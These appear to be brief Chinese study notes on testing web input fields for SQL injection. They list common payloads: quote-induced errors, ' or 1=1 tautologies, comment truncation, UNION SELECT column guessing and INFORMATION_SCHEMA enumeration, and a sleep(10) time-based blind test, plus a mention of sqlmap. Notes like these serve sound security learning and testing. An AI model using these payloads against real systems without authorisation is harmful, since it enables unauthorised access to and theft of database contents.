sql注入

1.输入框中输入单引号，报数据库语法错误，说明可以进行sql注入。

2.输入框中输入单引号加或恒成立条件，例如：' or 1=1  会查询到该表全部数据

3.输入：' or 1=1 --yangge  '  其中--后表示数据库的注释，--后的内容都不进入正式查询语句

4.使用union语句，例如输入: ' union select 1,2,3,4,  --

其中1,2,3,4用于猜测返回字段的个数，一个数字表示一个字段

5. ' union select user(),database(),version() --

其中user()为返回当前用户，database()为返回当前库名，version()为数据库版本

6. ' union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --

查询INFORMATION_SCHEMA库中的tables表中的库名和表名

7.通过时间进行盲注入，输入一个真条件然后加上一个时间函数，如果时间函数执行，则存在sql注入风险，例如输入：1' and sleep(10) -- yangge

如果页面加载了10秒，这说明存在sleep（）函数被执行，存在sql注入风险

 

 8.sqlmap自动注入